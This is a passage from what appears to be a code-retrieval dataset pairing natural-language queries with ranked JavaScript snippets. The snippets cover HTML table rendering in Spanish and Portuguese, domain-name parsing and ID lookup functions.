i=0;i<listaproducto.length;i++){\n //declaramos una variable para las filas\n var fila=tbody.insertRow(i);\n //declaramos variables para los titulos\n var titulonom=fila.insertCell(0);\n var titulocat=fila.insertCell(1);\n var titulopre=fila.insertCell(2);\n var titulocan=fila.insertCell(3);\n //agregamos los valores\n titulonom.innerHTML=listaproducto[i].nombre;\n titulocat.innerHTML=listaproducto[i].categoria;\n titulopre.innerHTML=listaproducto[i].precio;\n titulocan.innerHTML=listaproducto[i].cantidad;\n tbody.appendChild(fila);\n }\n}", "title": "" }, { "docid": "0d367e7664ea692544d20d6684666c5e", "score": "0.56663054", "text": "function Mostrar(){\n //declaramos una variable para el numero de filas\n var i = 0;\n // selecciono el tbody de la tabla donde voy a guardar\n tbody=document.querySelector(\"#tbAlumno tbody\");\n tbody.innerHTML=\"\";\n //se selecciona la tabla\n var db = database.ref().child(\"alumno\");\n db.once(\"value\", function (snapshot) {\n if (snapshot.exists()){\n // Loop para recorrer los datos de Firebase Realtime Database\n snapshot.forEach(function(data){\n var cod = data.key;\n var nom = data.val().nombre;\n var ape = data.val().apellido;\n var dni = data.val().dni;\n var fec = data.val().fecha;\n var dir = data.val().direccion;\n var dis = data.val().distrito;\n var tel = data.val().telefono;\n var cel = data.val().celular;\n var cor = data.val().correo;\n var sex = data.val().sexo;\n var est = data.val().estado;\n //declaramos una variable para la fila\n var fila = tbody.insertRow(i);\n // declaramos variables para los titulos\n var titulonombre=fila.insertCell(0);\n var tituloapellido=fila.insertCell(1);\n var titulodni=fila.insertCell(2);\n var titulofecha=fila.insertCell(3);\n var titulodireccion=fila.insertCell(4);\n var titulodistrito=fila.insertCell(5);\n var titulotelefono=fila.insertCell(6);\n var titulocelular=fila.insertCell(7);\n var titulocorreo=fila.insertCell(8);\n var titulosexo=fila.insertCell(9);\n var tituloestado=fila.insertCell(10);\n var tituloact=fila.insertCell(11);\n var titulocor=fila.insertCell(12);\n // agregamos los valores\n titulonombre.innerHTML = nom;\n tituloapellido.innerHTML = ape;\n titulodni.innerHTML = dni;\n titulofecha.innerHTML = fec;\n titulodireccion.innerHTML = dir;\n titulodistrito.innerHTML = dis;\n titulotelefono.innerHTML = tel;\n titulocelular.innerHTML = cel;\n titulocorreo.innerHTML = cor;\n titulosexo.innerHTML = sex;\n tituloestado.innerHTML = est;\n // tituloact.innerHTML=\"<a href = '#' onclick=Buscar('\" + cod + \"')>Seleccionar</a>\";\n \n tituloact.innerHTML=\"<a href=# onclick=Buscar('\" + cod + \"')><img src=img/volveracargar.png width=20px height=26px style='margin-bottom: -3px'></a>\"\n // titulocor.innerHTML = \"<a href='#' onclick=Eliminar('\" + cod + \"')>Seleccionar</a>\";\n\n titulocor.innerHTML = \"<a href='#' onclick=Eliminar('\" + cod + \"')><img src=img/quitar.png width=24px height=24px style='margin-bottom: -3px'></a>\"\n tbody.appendChild(fila);\n i++ \n });\n }\n });\n}", "title": "" }, { "docid": "48313ba59cfd5d915c69f81aedf56542", "score": "0.566055", "text": "function cargarEventosListas() \n{\n\t//Cargamos los datos segun sus condiciones\n}", "title": "" }, { "docid": "d57bbf60b64cbbdf92fccaf1732a27aa", "score": "0.56597704", "text": "criarTabela(){\n // pega os calores\n var nome = this.nome;\n var header = this.campos;\n // limpa os campo\n this.nome = '';\n this.campo = '';\n this.campos = [];\n\n // cria a tabela.\n var tabela = {\n nome: nome,\n header: header,\n data: [],\n }\n\n // adiciona os dados.\n this.tabelas.push(tabela);\n this.listaTabelas.push(nome);\n this.tabelaSelecionada = this.tabelas.length-1;\n this.salvar();\n }", "title": "" }, { "docid": "76bd7ed51f59cfd834489a12e7025c88", "score": "0.56506807", "text": "function generaTablaRequisitos(requisitos)\n{\n var tabla = '<table id=\"tabla_requisitos\" class=\"table table-striped table-bordered table-condensed dataTable no-footer dt-responsive\" role=\"grid\" cellspacing=\"0\" width=\"100%\" >'+\n '<thead>'+\n '<tr>'+\n '<th># <i class=\"fa fa-fw fa-sort \" aria-hidden=\"true\"></i></th>'+\n '<th>Requisito <i class=\"fa fa-fw fa-sort \" aria-hidden=\"true\"></i></th>'+\n '<th width=\"80px\">Acci&oacute;n <i class=\"fa fa-fw fa-sort \" aria-hidden=\"true\"></i></th>'+\n '</tr>'+\n '</thead>'+\n '<tbody>';\n var cont = 1;\n requisitos.forEach(function(requisito){\n tabla += '<tr>'+\n '<td>'+cont+'</td>'+\n '<td>'+requisito.nombreRequisito+'</td>'+\n '<td>'+\n '<a class=\"cursorPointer\" title=\"Editar\" onclick=\"editarRequisito('+requisito.idRequisito+',\\''+requisito.nombreRequisito+'\\')\"><img src=\"../images/icon_editar.png\" class=\"iconoDesactivar\" title=\"Editar\" alt=\"Editar\"></a>'+\n '<a class=\"cursorPointer\" title=\"Eliminar\" onclick=\"eliminarRequisito('+requisito.idRequisito+')\"><img src=\"../images/icon_delete.png\" class=\"iconoDesactivar\" title=\"Eliminar\" alt=\"Eliminar\"></a>'+\n '</td>'+\n '</tr>';\n cont++;\n });\n tabla += '</tbody>'+\n '</table>';\n return tabla;\n}", "title": "" }, { "docid": "0ce7e9de24bad06efa4e971c79f9a938", "score": "0.5650389", "text": "function tablaClientes(){\n var oTabla=document.createElement(\"Table\");\n\n var fila = document.createElement(\"tr\");\n var celda3 = document.createElement(\"th\");\n var oTexto3=document.createTextNode(\"Dni\");\n celda3.appendChild(oTexto3);\n fila.appendChild(celda3);\n var celda5 = document.createElement(\"th\");\n var oTexto5=document.createTextNode(\"Nombre\");\n celda5.appendChild(oTexto5);\n fila.appendChild(celda5);\n var celda = document.createElement(\"th\");\n var oTexto=document.createTextNode(\"Apellidos\");\n celda.appendChild(oTexto);\n fila.appendChild(celda);\n var celda2 = document.createElement(\"th\");\n var oTexto2=document.createTextNode(\"Direccion\");\n celda2.appendChild(oTexto2);\n fila.appendChild(celda2);\n\n var celda4 = document.createElement(\"th\");\n var oTexto4=document.createTextNode(\"Email\");\n celda4.appendChild(oTexto4);\n fila.appendChild(celda4);\n\n var celda6 = document.createElement(\"th\");\n var oTexto6=document.createTextNode(\"Telefono\");\n celda6.appendChild(oTexto6);\n fila.appendChild(celda6);\n\n var celda7 = document.createElement(\"th\");\n var oTexto7=document.createTextNode(\"Num Registro\");\n celda7.appendChild(oTexto7);\n fila.appendChild(celda7);\n\n oTabla.appendChild(fila);\n\n for(var i=0;i<autoescuela.clientes.length;i++){\n oTabla.appendChild(autoescuela.clientes[i].fila());\n }\n return oTabla;\n}", "title": "" }, { "docid": "c86e8ddcadc7adfbdf79f0f918b13136", "score": "0.565029", "text": "function leerLS(){\n let cursosLS;\n\n cursosLS = obtenerCursosLocalStorage();\n\n cursosLS.forEach(curso=> {\n \n const row = document.createElement('tr');\n \n \n row.innerHTML = `\n <td>\n <img src=\"${curso.img}\" width=\"100\">\n </td>\n <td>${curso.titulo}</td>\n <td>${curso.precio}</td>\n <td> \n <a href=\"#\" class=\"borrar-curso\" data-id=\"${curso.id}\">X</>\n </td>\n `\n listaCarrito.appendChild(row)\n \n });\n\n\n}", "title": "" }, { "docid": "9aa2c5b0b07f342066d2533c2446a323", "score": "0.5650257", "text": "function planilllaPrincipalTitular(est_p){\r\n var tabla,tabla2;\r\n if(est_p==1){\r\n tabla = '#dataTable1';\r\n tabla2 = '#dataTable2';\r\n }\r\n else\r\n if(est_p==2){//si el partido está enn juego\r\n tabla = '#dataTableA';\r\n tabla2 = '#dataTableB';\r\n\r\n //tabla de cambios\r\n ///lado izq Cambios\r\n $('#dataTableCA').DataTable({\r\n destroy: true,\r\n paging:false,\r\n lengthChange:false,\r\n ordering:false,\r\n info:false,\r\n searching:false,\r\n \"ajax\":{\r\n url:base_url+'Inicio/getTablaA/'+id_T,\r\n data:{idp:idp,est:2,est1:2,est_p:est_p},\r\n type:\"GET\"\r\n },\r\n });\r\n ///lado der Cambios\r\n $('#dataTableCB').DataTable({\r\n destroy: true,\r\n paging:false,\r\n lengthChange:false,\r\n ordering:false,\r\n info:false,\r\n searching:false,\r\n \"ajax\":{\r\n url:base_url+'Inicio/getTablaB/'+id_T,\r\n data:{idp:idp,est:2,est1:2,est_p:est_p},\r\n type:\"GET\"\r\n },\r\n });\r\n miHecho();\r\n hechosTotales();\r\n }\r\n else\r\n if(est_p==3){//si el partido está en pausa\r\n tabla = '#dataTableA';\r\n tabla2 = '#dataTableB';\r\n\r\n //tabla de cambios\r\n ///lado izq Cambios\r\n $('#dataTableCA').DataTable({\r\n destroy: true,\r\n paging:false,\r\n lengthChange:false,\r\n ordering:false,\r\n info:false,\r\n searching:false,\r\n \"ajax\":{\r\n url:base_url+'Inicio/getTablaA/'+id_T,\r\n data:{idp:idp,est:2,est1:2,est_p:est_p},\r\n type:\"GET\"\r\n },\r\n });\r\n ///lado der Cambios\r\n $('#dataTableCB').DataTable({\r\n destroy: true,\r\n paging:false,\r\n lengthChange:false,\r\n ordering:false,\r\n info:false,\r\n searching:false,\r\n \"ajax\":{\r\n url:base_url+'Inicio/getTablaB/'+id_T,\r\n data:{idp:idp,est:2,est1:2,est_p:est_p},\r\n type:\"GET\"\r\n },\r\n });\r\n miHecho();\r\n hechosTotales();\r\n }\r\n\r\n else{//si el partido finalizó\r\n tabla = '#dataTableA';\r\n tabla2 = '#dataTableB';\r\n\r\n //tabla de cambios\r\n ///lado izq Cambios\r\n $('#dataTableCA').DataTable({\r\n destroy: true,\r\n paging:false,\r\n lengthChange:false,\r\n ordering:false,\r\n info:false,\r\n searching:false,\r\n \"ajax\":{\r\n url:base_url+'Inicio/getTablaA/'+id_T,\r\n data:{idp:idp,est:2,est1:2,est_p:est_p},\r\n type:\"GET\"\r\n },\r\n });\r\n ///lado der Cambios\r\n $('#dataTableCB').DataTable({\r\n destroy: true,\r\n paging:false,\r\n lengthChange:false,\r\n ordering:false,\r\n info:false,\r\n searching:false,\r\n \"ajax\":{\r\n url:base_url+'Inicio/getTablaB/'+id_T,\r\n data:{idp:idp,est:2,est1:2,est_p:est_p},\r\n type:\"GET\"\r\n },\r\n });\r\n miHecho();\r\n hechosTotales();\r\n }\r\n\r\n $(tabla).DataTable({\r\n destroy: true,\r\n paging:false,\r\n lengthChange:false,\r\n ordering:false,\r\n info:false,\r\n \"ajax\":{\r\n url:base_url+'Inicio/getTablaA/'+id_T,\r\n data:{idp:idp,est:1,est1:3,est_p:est_p},\r\n type:\"GET\"\r\n },\r\n });\r\n $(tabla2).DataTable({\r\n destroy: true,\r\n paging:false,\r\n lengthChange:false,\r\n ordering:false,\r\n info:false,\r\n \"ajax\":{\r\n url:base_url+'Inicio/getTablaB/'+id_T,\r\n data:{idp:idp,est:1,est1:3,est_p:est_p},\r\n type:\"GET\"\r\n },\r\n });\r\n //\r\n\r\n}", "title": "" }, { "docid": "058bfe2c1fffb73be6acfa41e1e420d4", "score": "0.56473404", "text": "function unidadesVendidas() {}", "title": "" } ]
75d3f7d2699997703b9def23c39d1bed
Return the correct CMP integration ID based on the domain name
[ { "docid": "b0307443fdf65cc4aef95164f3224b09", "score": "0.7027955", "text": "function getOtDomainId() {\n const domains = {\n 'adobe.com': '7a5eb705-95ed-4cc4-a11d-0cc5760e93db',\n 'hlx.page': '3a6a37fe-9e07-4aa9-8640-8f358a623271',\n 'project-helix.page': '45a95a10-dff7-4048-a2f3-a235b5ec0492',\n 'helix-demo.xyz': 'ff276bfd-1218-4a19-88d4-392a537b6ce3',\n 'adobeaemcloud.com': '70cd62b6-0fe3-4e20-8788-ef0435b8cdb1',\n };\n const currentDomain = Object.keys(domains).find(domain => window.location.host.indexOf(domain) > -1);\n\n return `${domains[currentDomain] || domains[Object.keys(domains)[0]]}`;\n}", "title": "" } ]
[ { "docid": "79a42f553d7e4537047748d07b8b5298", "score": "0.57829624", "text": "function orgNameToId(name){\n if( name.match(/human/i) ){\n return 9606;\n\n } else if( name.match(/mouse/i) ){\n return 10090;\n\n } else {\n return -1; // error\n }\n }", "title": "" }, { "docid": "84e0865394517cfd50b86edb898df9e3", "score": "0.5705367", "text": "function getDomain() {\r\n const hostValue = getHost();\r\n // Need to add checks for MoonCake(China) and Europe Orgs, if needed\r\n if (hostValue.endsWith(\"dod-crm.microsoftdynamics.us\"))\r\n return \"DoD\";\r\n else if (hostValue.endsWith(\"crm9.dynamics.com\") || hostValue.endsWith(\"crm.microsoftdynamics.us\"))\r\n return \"GCCHigh\";\r\n else if (hostValue.endsWith(\"crm.microsoftdynamics.de\"))\r\n return \"BlackForest\";\r\n else if (hostValue.endsWith(\"crm.dynamics.cn\"))\r\n return \"MoonCake\";\r\n else if (hostValue.endsWith(\"crm4.dynamics.com\"))\r\n return \"Europe\";\r\n else if (hostValue.endsWith(\"extest.microsoft.com\") || hostValue.endsWith(\"crm10.dynamics.com\") || hostValue.endsWith(\"crm.crmlivetie.com\")\r\n || hostValue.endsWith(\"crm2.crmlivetie.com\") || hostValue.endsWith(\"contoso.com:444\") || hostValue.endsWith(\"microsoft.com\")\r\n || hostValue.endsWith(\"msmecrm.com\") || hostValue.endsWith(\"crm.crmlivetoday.com\") || hostValue.endsWith(\"crm.1boxtest.com\")\r\n || hostValue.endsWith(\"crm.crmifd.com\") || hostValue.endsWith(\"msmecrm.com:444\") || hostValue.search(\"localhost\") === 0)\r\n return \"Dev\";\r\n else\r\n return \"Public\";\r\n }", "title": "" }, { "docid": "a3684ace89fcfb0793fa280276a0965d", "score": "0.5551537", "text": "function getInvoiceId(extId){\r\n\r\n var invoiceId = '';\r\n var occ = (extId.match(/-/g) || []).length;\r\n var newExtId = occ == 4 ?\r\n extId.substring(0,extId.indexOf(\"-\", extId.indexOf(\"-\", extId.indexOf(\"-\")+1)+1)+1) + \"1000\":\r\n extId.substring(0,extId.indexOf(\"-\", extId.indexOf(\"-\", extId.indexOf(\"-\", extId.indexOf(\"-\")+1)+1)+1)+1) + \"1000\";\r\n\r\n log.audit({title: \"newExtId\",details: newExtId});//////\r\n var customrecord_coalition_policySearchObj = search.create({\r\n type: \"customrecord_coalition_policy\",\r\n filters:\r\n [\r\n [\"externalidstring\",\"startswith\",newExtId]\r\n ],\r\n columns:\r\n [\r\n search.createColumn({\r\n name: \"name\",\r\n sort: search.Sort.ASC,\r\n label: \"Name\"\r\n }),\r\n search.createColumn({name: \"internalid\", label: \"Internal ID\"}),\r\n search.createColumn({name: \"custrecord_nsts_invoice_id\", label: \"Invoice ID\"})\r\n ]\r\n });\r\n var searchResultCount = customrecord_coalition_policySearchObj.runPaged().count;\r\n //log.audit(\"customrecord_coalition_policySearchObj result count\",searchResultCount);\r\n customrecord_coalition_policySearchObj.run().each(function(result){\r\n if(!isEmpty(result.getValue('custrecord_nsts_invoice_id'))){\r\n invoiceId = result.getValue('custrecord_nsts_invoice_id');\r\n }\r\n // .run().each has a limit of 4,000 results\r\n return true;\r\n });\r\n\r\n //log.audit({title: \"invoiceId\",details: invoiceId});\r\n return invoiceId;\r\n\r\n }", "title": "" }, { "docid": "7c6de1653e5a493e47445882756c23df", "score": "0.5488257", "text": "function getOrgId(orgName){\n\t//http://eutils.ncbi.nlm.nih.gov/entrez/eutils/espell.fcgi?db=taxonomy&term=mus_muskulus //SpellCheck\t\n\t//http://eutils.ncbi.nlm.nih.gov/entrez/eutils/esearch.fcgi?db=taxonomy&term=mus_musculus //Get ID\n\t//http://eutils.ncbi.nlm.nih.gov/entrez/eutils/esummary.fcgi?db=taxonomy&id=10090 //Get Names\t\n\tdebug(\"orgName to ID is NOT implemented \"+orgId)\n\treturn \"orgName to ID is NOT implemented!\"\n\t//return orgName\n}//function getOrgId", "title": "" }, { "docid": "3270359a980f765b6aef3749ba6066e4", "score": "0.5471354", "text": "function getDomainId(host) {\n return host.split('.').slice(-2, -1).pop()\n}", "title": "" }, { "docid": "d36e73e7826bb1cf068f28245db5edde", "score": "0.5468732", "text": "componentIdGet(incomingOptions, cb) {\n const Jira = require(\"./dist\");\n let defaultClient = Jira.ApiClient.instance;\n // Configure OAuth2 access token for authorization: OAuth2\n let OAuth2 = defaultClient.authentications[\"OAuth2\"];\n OAuth2.accessToken = incomingOptions.accessToken;\n\n let apiInstance = new Jira.ProjectComponentsApi(); // Object | Cloudi of the projec // String | The ID of the component.\n /*let cloudid = null;*/ /*let id = \"id_example\";*/ apiInstance.componentIdGet(\n incomingOptions.cloudincomingOptions.id,\n id,\n (error, data, response) => {\n if (error) {\n cb(error, null, response);\n } else {\n cb(null, data, response);\n }\n }\n );\n }", "title": "" }, { "docid": "dcebaf3a0160722434f0b35fb096f372", "score": "0.5436427", "text": "function getIntegrationName(integration) {\n /**\n * @depracted\n */\n // tslint:disable-next-line:no-unsafe-any\n return integration.constructor.id || integration.name;\n}", "title": "" }, { "docid": "119c8386bf925ba812b3e9a5efdae979", "score": "0.54166317", "text": "GetInformationsAboutADomainName(cartId, domain) {\n let url = `/order/cart/${cartId}/domain?`;\n const queryParams = new query_params_1.default();\n if (domain) {\n queryParams.set('domain', domain);\n }\n return this.client.request('GET', url + queryParams.toString());\n }", "title": "" }, { "docid": "699c0299895a4cf0aa6ce1879c6f803d", "score": "0.53875065", "text": "function getCWVehicleID (license) {\n var cwVehicle = CWReturnVehicles.findOne({ License: license });\n var licensestring;\n if (cwVehicle) {\n return cwVehicle.CWVehicleID;\n } else {\n // xx-xx-xx\n licensestring = license.substr(0, 2) + '-' + license.substr(2, 4) + '-' + license.substr(4);\n cwVehicle = CWReturnVehicles.findOne({ License: licensestring });\n if (cwVehicle) {\n return cwVehicle.CWVehicleID;\n }\n\n // xx-xxx-x\n licensestring = license.substr(0, 2) + '-' + license.substr(2, 5) + '-' + license.substr(5);\n cwVehicle = CWReturnVehicles.findOne({ License: licensestring });\n if (cwVehicle) {\n return cwVehicle.CWVehicleID;\n }\n\n // x-xxx-xx\n licensestring = license.substr(0, 1) + '-' + license.substr(1, 4) + '-' + license.substr(4);\n cwVehicle = CWReturnVehicles.findOne({ License: licensestring });\n if (cwVehicle) {\n return cwVehicle.CWVehicleID;\n }\n\n // xxx-xx-x\n licensestring = license.substr(0, 3) + '-' + license.substr(3, 5) + '-' + license.substr(5);\n cwVehicle = CWReturnVehicles.findOne({ License: licensestring });\n if (cwVehicle) {\n return cwVehicle.CWVehicleID;\n }\n return;\n }\n\n }", "title": "" }, { "docid": "c86c606bdceb4480a90995e47a85fc4f", "score": "0.5227903", "text": "function mailIdGenerator(part1, part2, domain){\n\n if(validDomain(domain)){\n formatted_domain = domain.replace(/https:\\/\\/|http:\\/\\//, \"\").replace(/www\\./, \"\");\n return lowerCaseFormatter(part1) + \".\" + lowerCaseFormatter(part2) + \"@\" + formatted_domain;\n }else{\n return \"\";\n }\n\n}", "title": "" }, { "docid": "a33c95abbe7146bb9e1c9ad765945e7e", "score": "0.51710945", "text": "function determineId() {\n let id = \"\";\n if (optimist_1.argv.title) {\n id = optimist_1.argv.title;\n }\n else if (process.env.ACTIONHERO_TITLE) {\n id = process.env.ACTIONHERO_TITLE;\n }\n else if (process.env.JEST_WORKER_ID) {\n id = `test-server-${process.env.JEST_WORKER_ID || 0}`;\n }\n else if (!config_1.config || !config_1.config.general.id) {\n let externalIP = utils_1.utils.getExternalIPAddress();\n if (!externalIP) {\n const message = \" * Error fetching this hosts external IP address; setting id base to 'actionhero'\";\n console.log(message);\n externalIP = \"actionhero\";\n }\n id = externalIP;\n if (cluster.isWorker) {\n id += \":\" + process.pid;\n }\n }\n else {\n id = config_1.config.general.id;\n }\n return id;\n}", "title": "" }, { "docid": "102e779221d8944d1b4824fef413c7bc", "score": "0.512824", "text": "getSubdomainURL(subdomain) {\n switch (subdomain) {\n case 'AIO':\n return `aio/expectation?param1=WORLD.WC1&param2=WEB` //\n case 'PI':\n return `login/partner-income/validate`\n case 'extracard':\n return `mijn/apply-for-extra-card`\n case 'id':\n return `online-identification/identify`\n default:\n throw (`Unknown environment to run tests on: ${subdomain}`)\n }\n }", "title": "" }, { "docid": "794659e1ba4efc247413cc2a1c37802a", "score": "0.50781745", "text": "getNameOrId() {\n if (this.name) {\n return this.name;\n }\n if (typeof SDNLG_CONF !== 'undefined') {\n let name = SDNLG_CONF.dict[this.id];\n if (name !== undefined) {\n return name;\n }\n }\n return this.id;\n }", "title": "" }, { "docid": "3667909c3984f1f91e0699ae2c0696b6", "score": "0.5075762", "text": "GetInformationsAboutADomainNameTransfer(cartId, domain) {\n let url = `/order/cart/${cartId}/domainTransfer?`;\n const queryParams = new query_params_1.default();\n if (domain) {\n queryParams.set('domain', domain);\n }\n return this.client.request('GET', url + queryParams.toString());\n }", "title": "" }, { "docid": "20cd0344fcebf2e31f33a08b4394c715", "score": "0.5072653", "text": "function buildContactIdent(c) {\n if (c) {\n return ((c.get('facebookId') * 1 ? 'fbid:' + c.get('facebookId') : null) ||\n (c.get('id') * 1 ? 'lid:' + c.get('id') : null) ||\n ((c.get('phoneNumbers') && (c.get('phoneNumbers').length > 0)) ?\n 'phone:' + c.get('phoneNumbers')[0].number :\n null) ||\n (c.get('email') ? 'email:' + c.get('email') : null) || '');\n } else {\n return null;\n }\n}", "title": "" }, { "docid": "45e8316941cc118c6e86e3794d1b2387", "score": "0.50672716", "text": "function IDToChainNumber(companyID, chainToCompanies, deployed) {\n var chainFromCompID = chainToCompanies[companyID]\n var hasAlready = true\n if (chainFromCompID === undefined) {\n // chainFromCompID = digitToServer(getFirstDigit(companyID))\n chainFromCompID = hashAndModulo(companyID)\n hasAlready = true\n } \n if (deployed) {\n chainToCompanies[companyID] = chainFromCompID \n }\n return chainFromCompID\n}", "title": "" }, { "docid": "ebee0a069ace5d7bf880fc7103daf164", "score": "0.5058358", "text": "function get_link_resolver_domain( )\n{\n\tvar\tsDomain\t= new String(\"\");\n\t\n\tif ( \"eebo2.private.chadwyck.co.uk\" == document.location.host )\n\t{\n\t\tsDomain = \"http://devl-openurl.svc.il.pqe\";\n\t}\n\telse if ( \"eebo.chadwyck.com:8086\" == document.location.host )\n\t{\n\t\tsDomain = \"http://gateway.umi.bhowell.com\";\n\t}\n\telse if ( \"eebo.chadwyck.com\" == document.location.host )\n\t{\n\t\tsDomain = \"http://gateway.proquest.com\";\n\t}\n\telse\n\t{\n\t\tsDomain = \"http://gateway.proquest.com\";\n\t\t// sDomain = \"Unknown EEBO domain!\";\n\t}\n\t\n\treturn sDomain;\n}", "title": "" }, { "docid": "e80b248d96aba18e866d10703ea0cd97", "score": "0.50573987", "text": "getIdentifier () { \n let name = this.name ? `(${this.name}) ` : \"\"; \n return name + this.getProxyIDString();\n }", "title": "" }, { "docid": "8770b890e956b4e76d09b56abc90c286", "score": "0.5053307", "text": "function constructDomainName(sufix) {\n return `${domainNameBase}_${sufix}`;\n}", "title": "" }, { "docid": "30ba07b643b4b0b58809a07443107501", "score": "0.5051769", "text": "function getexternalid(req){\n let extid = '';\n //What is the source of this request?\n if(req.body.hasOwnProperty('originalRequest')){\n //Case facebook \n if(req.body.originalRequest.source === 'facebook'){\n extid = req.body.originalRequest.data.sender.id;\n }\n }\n return extid;\n}", "title": "" }, { "docid": "d2143a315646edf0f4aed71c3ab960dd", "score": "0.50218797", "text": "function getDomainById(id) {\n\tfor (let i = 0; i < streamingServices.length; i++) {\n\t\tif (streamingServices[i].id == id) {\n\t\t\treturn streamingServices[i].domain;\n\t\t}\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "fdc5ab12c9e6a03df35946e2296fe81d", "score": "0.50142604", "text": "get ExtensionId() { return \"{E10A6337-382E-4FE6-96DE-936ADC34DD04}\"; }", "title": "" }, { "docid": "478eb88e526761413762801a03e360b4", "score": "0.49923632", "text": "function getCustomId_() {\n var returnId = 'cust-' + service_.customIdCounter;\n service_.customIdCounter++;\n return returnId;\n }", "title": "" }, { "docid": "924f8e14df9ad04792a22c449b3792a6", "score": "0.49773753", "text": "get domain() {\n let domain = this.mDictionary.items.getValue(this.mDictionaryProperties.domain);\n return domain;\n }", "title": "" }, { "docid": "61a1a56f9ee8c4e6e22b1e10e68e5526", "score": "0.49624598", "text": "static get cloudProjectId() {}", "title": "" }, { "docid": "756e056e7063bbc97dd383e3ee0b3a64", "score": "0.4962246", "text": "function getOtherSiteID() {\r\n // Get the otherSite id from the URL\r\n var otherSiteID = window.location.search.substring(1).split('=')[1];\r\n\r\n return otherSiteID;\r\n}", "title": "" }, { "docid": "8f65156a18da053b0eaebf04bc7e6f28", "score": "0.49465436", "text": "resolutionIdGet(incomingOptions, cb) {\n const Jira = require(\"./dist\");\n let defaultClient = Jira.ApiClient.instance;\n // Configure OAuth2 access token for authorization: OAuth2\n let OAuth2 = defaultClient.authentications[\"OAuth2\"];\n OAuth2.accessToken = incomingOptions.accessToken;\n\n let apiInstance = new Jira.IssueResolutionsApi(); // Object | Cloudi of the projec // String | The ID of the issue resolution value.\n /*let cloudid = null;*/ /*let id = \"id_example\";*/ apiInstance.resolutionIdGet(\n incomingOptions.cloudincomingOptions.id,\n id,\n (error, data, response) => {\n if (error) {\n cb(error, null, response);\n } else {\n cb(null, data, response);\n }\n }\n );\n }", "title": "" }, { "docid": "aa4540fcbc161875f8dd43fd6c920cc1", "score": "0.4946013", "text": "function getNetworkFromDomain(domain) { \n for(var el in ad_networks) {\n var a = ad_networks[el];\n if(a.domain == domain){\n //alert('matched ' + domain);\n return a.name;\n }\n }\n //console.log('mismatched' + domain);\n return domain;\n}", "title": "" }, { "docid": "553263e7e3a961a7d8a9d01697aedd35", "score": "0.4938837", "text": "makeDeployId(appName) {\n const timestamp = new Date().toLocaleString().replace(/\\s|:/g, '-');\n\n if (appName) {\n return `${this.name}/${appName}/-${timestamp}`;\n } else {\n return `${this.name}-${timestamp}`;\n }\n }", "title": "" }, { "docid": "559d1bdb336ce3bfc44afc075e18f83d", "score": "0.49167916", "text": "function getFirebaseProjectId() {\n return firebase.app().options.authDomain.split('.')[0];\n}", "title": "" }, { "docid": "1e9e296391dc963c20530d3171958b13", "score": "0.4907096", "text": "function cid()\n{\n var match = document.cookie.match('(?:^|;)\\\\s*_ga=([^;]*)');\n var raw = (match) ? decodeURIComponent(match[1]) : null;\n if (raw)\n {\n match = raw.match(/(\\d+\\.\\d+)$/);\n }\n var gacid = (match) ? match[1] : null;\n if (gacid)\n {\n console.log('GTM:', gacid);\n return gacid;\n } else {\n return \"\";\n }\n}", "title": "" }, { "docid": "f690881315fa6894bb15b577ad889395", "score": "0.48990354", "text": "function getDomainName(url) {\n var domain = extractHostname(url),\n splitArr = domain.split('.'),\n arrLen = splitArr.length;\n\n //extracting the root domain here\n //if there is a subdomain\n if (arrLen > 2) {\n domain = splitArr[arrLen - 2] + '.' + splitArr[arrLen - 1];\n //check to see if it's using a Country Code Top Level Domain (ccTLD) (i.e. \".me.uk\")\n if (splitArr[arrLen - 2].length == 2 && splitArr[arrLen - 1].length == 2) {\n //this is using a ccTLD\n domain = splitArr[arrLen - 3] + '.' + domain;\n }\n }\n return domain;\n}", "title": "" }, { "docid": "67f8301e361bdf397d3b3eeb13475e38", "score": "0.4896803", "text": "getSiteName() {\n return this.domain.replace(/[.]/g, '_');\n }", "title": "" }, { "docid": "b50d6df30f56cc39ffa40295bc204782", "score": "0.4888649", "text": "setRequestIDValue(request_id) {\n if (!request_id || request_id === '')\n return ''\n\n \n\n let request = (request_id).toString().indexOf('GSD') >= 0 ? request_id : `GSD${request_id.toString()}`;\n\n return request\n }", "title": "" }, { "docid": "0a6f5a55e175b33d3cd85249a5fbc4fa", "score": "0.48863986", "text": "function setCompID() {\n let urlPath = location.href.split('?')\n if (urlPath.length < 2) {\n return\n }\n let queryStr = urlPath[1]\n let search = new URLSearchParams(queryStr)\n if (search.has('id')) {\n compID = parseInt(search.get('id'))\n }\n}", "title": "" }, { "docid": "b6b8d25e7b42ae347759b782d79eff0f", "score": "0.488488", "text": "get domainName() {\n return this.getStringAttribute('domain_name');\n }", "title": "" }, { "docid": "1f4769f5f493aa508011cf5e71727ab1", "score": "0.488444", "text": "function nsNameToId( nsName ) {\n return mw.config.get( \"wgNamespaceIds\" )[ nsName.toLowerCase().replace( / /g, \"_\" ) ];\n }", "title": "" }, { "docid": "28137ed1bd281bfdc75d093ffcdd5cf2", "score": "0.48817775", "text": "function getLocaleId() {\n return LOCALE_ID$1;\n}", "title": "" }, { "docid": "51bed02e89ea15e5cca3904f3374881e", "score": "0.48732308", "text": "function getCeId(ceUrl) {\n var aCeId;\n if (ceUrl.substring(0, 4) === \"http\") {\n aCeId = ceUrl.substr(ceUrl.lastIndexOf('/') + 1);\n } else {\n aCeId = ceUrl;\n }\n return aCeId;\n }", "title": "" }, { "docid": "c60e1046dbe0c6f7551283d759d43320", "score": "0.48727652", "text": "function getDomain() {\r\n\t\tvar locationString = '' + document.location;\r\n\t\treturn locationString.split('/')[2];\r\n\t}", "title": "" }, { "docid": "cb43222221cd40f933aa6f61353064bc", "score": "0.48673648", "text": "getWebIdentity(domain) {\n let webidentity;\n for (let i = 0; i < this.webidentities.length; i++) {\n webidentity = this.webidentities[i];\n if (webidentity.domain === domain) {\n return webidentity;\n }\n }\n webidentity = new WebIdentity(domain, fingerprintGenerator.generate());\n this.addWebIdentity(webidentity);\n return webidentity;\n }", "title": "" }, { "docid": "743cfda98c9185ead13c139023b7f426", "score": "0.4859703", "text": "getSiteName(): string {\n return this.domain.replace(/[.]/g, '_');\n }", "title": "" }, { "docid": "020c720ce0f7077f22e9ed64aeef4ea6", "score": "0.48528552", "text": "static getClientId() {\n let clientId = \"\";\n const key = 'simsearch_client_id';\n const hasLs = SimSageCommon.hasLocalStorage();\n if (hasLs) {\n clientId = localStorage.getItem(key);\n }\n if (!clientId || clientId.length === 0) {\n clientId = SimSageCommon.guid(); // create a new client id\n if (hasLs) {\n localStorage.setItem(key, clientId);\n }\n }\n return clientId;\n }", "title": "" }, { "docid": 